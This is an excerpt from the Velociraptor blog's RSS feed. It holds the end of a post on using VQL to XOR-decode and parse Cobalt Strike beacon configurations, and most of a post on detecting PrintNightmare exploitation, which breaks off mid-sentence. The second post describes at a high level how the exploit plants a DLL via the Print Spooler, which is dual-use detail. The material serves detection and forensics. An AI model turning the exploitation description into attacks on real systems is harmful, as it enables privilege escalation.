noreferrer&#34;&#xA;       href=&#34;09_notebook_bytes.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    VQL: extract bytes&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;xor-decode&#34;&gt;Xor decode&lt;/h3&gt;&#xA;&lt;p&gt;VQL&amp;rsquo;s flexibility comes with its ability to reuse existing artifacts in different ways.&#xA;The fifth step is running Velociraptor’s &lt;code&gt;xor()&lt;/code&gt; function and piping the output into our&#xA;the existing &lt;code&gt;Windows.Carving.CobaltStrike()&lt;/code&gt; configuration decoder.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- extract bytes&#xA;LET bytes &amp;lt;= SELECT * FROM foreach(row=targets,&#xA;    query={&#xA;        SELECT&#xA;            SamplePath, basename(path=SamplePath) as Sample, SampleSize,&#xA;            unhex(string=regex_replace(re=&amp;quot;0x|,&amp;quot;, replace=&amp;quot;&amp;quot;, source=normalise_hex(value=Key))) as KeyBytes,&#xA;            read_file(filename=&#xA;                unhex(string=regex_replace(re=&amp;quot;0x|,&amp;quot;, replace=&amp;quot;&amp;quot;, source=normalise_hex(value=Data))),&#xA;                    accessor=&#39;data&#39;) as DataBytes&#xA;        FROM parse_records_with_regex(&#xA;            file=SamplePath,buffer_size=15000000,&#xA;            regex=target_regex)&#xA;    })&#xA;&#xA;-- pass bytes to cobalt strike parser and format key indicators im interested in&#xA;SELECT *, FROM foreach(row=bytes,query={&#xA;    SELECT *,&#xA;        basename(path=SamplePath) as Sample,SampleSize&#xA;    FROM Artifact.Windows.Carving.CobaltStrike(TargetBytes=xor(key=KeyBytes,string=DataBytes))&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/10_notebook_parse.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;VQL: parse config&#34;&#xA;         width=&#34;2443&#34; height=&#34;709&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;10_notebook_parse.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    VQL: parse config&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Decoded Cobalt Strike configuration is clearly observed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/11_notebook_config_example.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Cobalt strike configuration example&#34;&#xA;         width=&#34;2501&#34; height=&#34;992&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;11_notebook_config_example.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Cobalt strike configuration example&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The smallest file also includes a Cobalt Strike shellcode stager, which I have recently&#xA;added to the Velociraptor Cobalt Strike parser.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/12_notebook_shellcode_example.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Cobalt strike shellcode example&#34;&#xA;         width=&#34;1179&#34; height=&#34;850&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;12_notebook_shellcode_example.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Cobalt strike shellcode example&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;additional-analysis&#34;&gt;Additional analysis&lt;/h3&gt;&#xA;&lt;p&gt;Finally, we may have a desire to extract specific key indicators and compare across&#xA;samples. A simple data stack on key indicators of interest.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- pass bytes to cobalt strike parser and format key indicators im interested in&#xA;LET cobalt = SELECT *, FROM foreach(row=bytes,query={&#xA;    SELECT&#xA;        basename(path=SamplePath) as Sample,SampleSize,&#xA;        Hash as DecodeHash,&#xA;        Rule,Offset,Xor,DecodedConfig&#xA;    FROM Artifact.Custom.Windows.Carving.CobaltStrike(TargetBytes=xor(key=KeyBytes,string=DataBytes))&#xA;})&#xA;&#xA;-- quick data stack on a few things to show sample analysis&#xA;SELECT count() as Total,&#xA;    if(condition= Xor=~&#39;^0x(2e|69)$&#39;, then=DecodedConfig.BeaconType, else= &#39;Shellcode stager&#39;) as Type,&#xA;    if(condition= Xor=~&#39;^0x(2e|69)$&#39;, then=DecodedConfig.LicenseId, else= DecodedConfig.Licence) as License,&#xA;    if(condition= Xor=~&#39;^0x(2e|69)$&#39;, then=dict(SpawnTox86=DecodedConfig.SpawnTox86,SpawnTox64=DecodedConfig.SpawnTox64), else= &#39;N/A&#39;) as SpawnTo,&#xA;    if(condition= Xor=~&#39;^0x(2e|69)$&#39;, then=DecodedConfig.Port, else= &#39;N/A&#39;) as Port,&#xA;    if(condition= Xor=~&#39;^0x(2e|69)$&#39;, then=DecodedConfig.C2Server, else= DecodedConfig.Server) as Server&#xA;FROM cobalt&#xA;GROUP BY Type, Licence,SpawnTo,Port,Server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/13_notebook_example.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;VQL results: key indicators of interest&#34;&#xA;         width=&#34;2461&#34; height=&#34;850&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;13_notebook_example.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    VQL results: key indicators of interest&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;In this post we showed discovery, then decode of encoded Cobalt Strike beacons on disk.&#xA;Velociraptor can read, manipulate and enrich data efficiently across a large network&#xA;without the overhead of needing to extract and process manually.&lt;/p&gt;&#xA;&lt;p&gt;Whilst most traditional workflows concentrate on collection and offline analysis,&#xA;Velociraptor notebook also enables data manipulation and flexibility in analysis.&#xA;If you would like to try out these features in Velociraptor, It is available on&#xA;&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under an open source license. As&#xA;always, please file issues on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;. You can also chat with us directly on discord&#xA;at &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;references&#34;&gt;References&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://attack.mitre.org/techniques/T1127/001/&#34; target=&#34;_blank&#34; &gt;MITRE ATT&amp;amp;CK T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/3gstudent/msbuild-inline-task&#34; target=&#34;_blank&#34; &gt;MSBuild Inline Task template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.virustotal.com/gui/file/cf54b9078d63eaeb0300e70d0ef6cf4d3a4d83842fe08cb951f841549663e1e2&#34; target=&#34;_blank&#34; &gt;VirusTotal sample - &lt;code&gt;I20xQy.TMP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.virustotal.com/gui/file/52ade62a412fed9425b75610620c85d9c143593cd50c2269066b120ac05dc8c3&#34; target=&#34;_blank&#34; &gt;VirusTotal sample - &lt;code&gt;CSLHP.TMP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.virustotal.com/gui/file/b4ede02ea3c198f5e7d3fbab3cadc1266538d23a43a2825ece7d4c75b7208fa9&#34; target=&#34;_blank&#34; &gt;VirusTotal sample - &lt;code&gt;ddppllkm.TMP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.virustotal.com/gui/file/152722a89fd87ecdf73fd18558622f22f980bddd6928cad31859453d41f7b8dd&#34; target=&#34;_blank&#34; &gt;VirusTotal sample - &lt;code&gt;gujf2z0z.0.cs.TMP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.virustotal.com/gui/file/78d2078c4e740aff4a2a289387ba8cfc1de6c02ed48c4c65b53582303192dab2&#34; target=&#34;_blank&#34; &gt;VirusTotal sample - &lt;code&gt;Ofeq81u.TMP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.virustotal.com/gui/file/507f988ab1f8229e84bb83dcb5a896b1747957b998aad7c7ccdd301096726999&#34; target=&#34;_blank&#34; &gt;VirusTotal sample - &lt;code&gt;zzyhukwK.TMP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor vs Printnightmare</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/</link>
      <pubDate>Sun, 11 Jul 2021 18:13:50 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/</guid>
      <description>&lt;h2 id=&#34;hunting-a-zero-day&#34;&gt;Hunting a Zero day!&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is an advanced open source endpoint visibility framework&#xA;based on a flexible query language called&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/&#34;&gt;VQL&lt;/a&gt;. What makes&#xA;Velociraptor unique from other endpoint tools is the flexibility to&#xA;develop new queries to address emerging threats.&lt;/p&gt;&#xA;&lt;p&gt;This post walks through a common use case for Velociraptor’s VQL:&#xA;detecting exploitation of a new zero day (A newly announced&#xA;vulnerability without a patch available). Once a zero day has been&#xA;announced, time is of the essence! Defenders must scramble to&#xA;determine possible remediations and detect exploitation on their&#xA;network.&lt;/p&gt;&#xA;&lt;p&gt;This is when Velociraptor’s quick and flexible approach shines: As&#xA;defenders we can develop a query to detect past exploitation of the&#xA;vulnerability, ensure hardening or patching has been applied to&#xA;prevent future exploitation. Additionally, Velociraptor provides a&#xA;mechanism for ongoing real-time monitoring using VQL queries,&#xA;therefore allowing us to use it for real time detection or future&#xA;attacks.&lt;/p&gt;&#xA;&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;On the 29th of June a POC exploit for a critical vulnerability was&#xA;accidentally released by a researcher that targeted the Microsoft&#xA;Print Spooler service. The “PrintNightmare” vulnerability&#xA;(CVE-2021-&lt;a href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675&#34; target=&#34;_blank&#34; &gt;1675&lt;/a&gt;/&lt;a href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527&#34; target=&#34;_blank&#34; &gt;34527&lt;/a&gt; ), could be used to remotely compromise a Windows&#xA;system with SYSTEM privileges. While a patch was initially released&#xA;during the June 8 patch cycle, security researchers quickly discovered&#xA;it was incomplete and exploitation was still available on fully&#xA;patched windows hosts.&lt;/p&gt;&#xA;&lt;p&gt;At this time, we wanted to rapidly develop a VQL query that would&#xA;indicate if any endpoint had been exploited through this vector. Our&#xA;first task was to learn more about the issue and particularly try to&#xA;understand what Digital Forensic artifacts were left behind on the&#xA;system after a successful exploitation attempt.&lt;/p&gt;&#xA;&lt;p&gt;While many other researchers were focusing solely on windows event&#xA;logs, Velociraptor provides access to many more forensically&#xA;significant artifacts, because it is running on the endpoint. This&#xA;allows us to explore a richer and more accurate set of artifacts in&#xA;order to detect exploitation attempts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploitation&#34;&gt;Exploitation&lt;/h2&gt;&#xA;&lt;p&gt;We will first begin by replicating the issue using a couple of the&#xA;open source POC exploits. For our testing we used the MimiKatz&#xA;PrintNightmare capability and a local privilege escalation powershell&#xA;POC available here.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image9.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Mimikatz PrintNightmare&#34;&#xA;         width=&#34;921&#34; height=&#34;212&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image9.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Mimikatz PrintNightmare&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/image2.png&#34;&#xA;     width=&#34;882&#34;&#xA;     height=&#34;121&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;An excellent walk through of the vulnerability can be found &lt;a href=&#34;https://www.kb.cert.org/vuls/id/383432&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt; and&#xA;&lt;a href=&#34;https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;, but what does the exploit actually do?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attackers connect to the Print Spooler Service by sending a request to add a printer using a windows API (AddPrinterDriverEx) over SMB, or RPC.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/image7.png&#34;&#xA;     width=&#34;290&#34;&#xA;     height=&#34;119&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;When installing a new “print driver” the attacker can configure several module paths and configuration inside pDriverContainer and these paths are copied to the print spool folder during installation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/image1.png&#34;&#xA;     width=&#34;874&#34;&#xA;     height=&#34;184&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Some of the POC variations copied files in slightly different ways but each ended up with an attacker controlled module being executed by the spoolsv.exe as a driver datafile, enabling the Remote Code Execution or Local Privilege Elevation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We can use Procmon to see what files were modified on the system.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/image3.png&#34;&#xA;     width=&#34;643&#34;&#xA;     height=&#34;125&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;So a successful exploit results in the copying of a new dll into the&#xA;spool directory and the dll being loaded by the spoolsv.exe service&#xA;process.&lt;/p&gt;&#xA;&lt;h3 id=&#34;detecting-new-files-in-the-spool-directory&#34;&gt;Detecting new files in the spool directory.&lt;/h3&gt;&#xA;&lt;p&gt;As a first iteration, let&amp;rsquo;s use Velociraptor to recursively list all&#xA;the binaries in the spool/drivers directory. We can use the regular OS&#xA;APIs to list the directory, but in our case we will scan the entire&#xA;filesystem by parsing the NTFS internal structures (Analysis of the&#xA;NTFS may even reveal presently deleted files).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/image4.png&#34;&#xA;     width=&#34;850&#34;&#xA;     height=&#34;191&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above query parses the entire master file table (MFT) and returns&#xA;information about those files in the spool directory.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;PE listing in Windows\System32\spool\drivers**&#34;&#xA;         width=&#34;1074&#34; height=&#34;472&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    PE listing in Windows\System32\spool\drivers**&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;While the proof of concept malicious drivers are immediately&#xA;recognizable by name (mimilib.dll and nightmare.dll) we don&amp;rsquo;t want to&#xA;rely on name alone since that is easily changed by a real&#xA;attacker. Let’s add to this query some more information about the&#xA;executable file itself, such as PE attributes (like export table,&#xA;import tables) hashes and specifically, if the file is signed or not&#xA;(i.e. its authenticode signature verification). An &lt;a href=&#34;https://gist.github.com/scudette/e24c32528b4aee679209b688afa40839&#34; target=&#34;_blank&#34; &gt;example query&lt;/a&gt; is shown below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image12.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1074&#34; height=&#34;683&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image12.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The additional information about any modules found is critical in&#xA;allowing analysts to quickly discount legitimate binaries and speed up&#xA;the triage process.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image10.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Mimikatz payload: PE attributes and authenticode&#34;&#xA;         width=&#34;975&#34; height=&#34;708&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image10.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Mimikatz payload: PE attributes and authenticode&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the example above, we can see the Mimikatz exploit loads the&#xA;mimikatz DLL into the spools directory. The DLL is easily recognizable&#xA;by its authenticode signature which in most environments would&#xA;immediately designate it as suspicious.&lt;/p&gt;&#xA;&lt;p&gt;We can also view obvious malicious PE exports or similarly, an absence&#xA;of print function related imports as a good signal that the binary is&#xA;not a legitimate printer driver. Finally time based filters for the&#xA;time period of exposure can be used as data points for potential&#xA;exploitation.&lt;/p&gt;&#xA;&lt;p&gt;The Mimikatz POC loaded a signed component, but many other exploits&#xA;will load an unsigned binary. A binary with an untrusted Authenticode&#xA;signature is a valuable data point in detecting malicious code. See&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-09-verifying-executables-on-windows-1b3518122d3c/&#34;&gt;this previous post&lt;/a&gt; for information on Authenticode. Below we see the&#xA;dll loaded by the second exploit POC we tried, based on powershell.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image13.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;PrintNightmare payload: PE attributes and authenticode&#34;&#xA;         width=&#34;1163&#34; height=&#34;334&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image13.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    PrintNightmare payload: PE attributes and authenticode&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Because Velociraptor is running on the endpoint, its Authenticode&#xA;verification code can verify catalog based signatures. Most Microsoft&#xA;authored print drivers are signed via catalogs - meaning there is no&#xA;authenticode signature section in the file itself! One has to verify&#xA;the hash in a system wide hash “catalog” file, itself signed by the&#xA;developer.&lt;/p&gt;&#xA;&lt;p&gt;Many binary classification services are not able to verify catalog&#xA;signatures, therefore displaying the file as unsigned. This can be&#xA;confusing for analysts who can not quickly triage the file as&#xA;legitimate. The below screenshot shows a VirusTotal search for a&#xA;legitimate Microsoft print driver. Although the file is not detected&#xA;as malicious, it is not shown as signed either.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare/image5.png&#34;&#xA;     width=&#34;543&#34;&#xA;     height=&#34;156&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image8.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;mxdwdrv.dll: not by verified signature - VirusTotal trusted tag by hash&#34;&#xA;         width=&#34;264&#34; height=&#34;202&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image8.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    mxdwdrv.dll: not by verified signature - VirusTotal trusted tag by hash&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;All original Microsoft printer drivers are trusted and properly signed&#xA;via catalog, as shown by Velociraptor. Note that Velociraptor is also&#xA;able to indicate who signed the respective catalog file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-07-12-velociraptor-vs-printnightmare//blog/2021/2021-07-12-velociraptor-vs-printnightmare/image11.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;mxdwdrv.dll: validated Authenticode signature by catalog&#34;&#xA;         width=&#34;768&#34; height=&#34;446&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image11.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    mxdwdrv.dll: validated Authenticode signature by catalog&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;In this post we developed a VQL artifact to detect 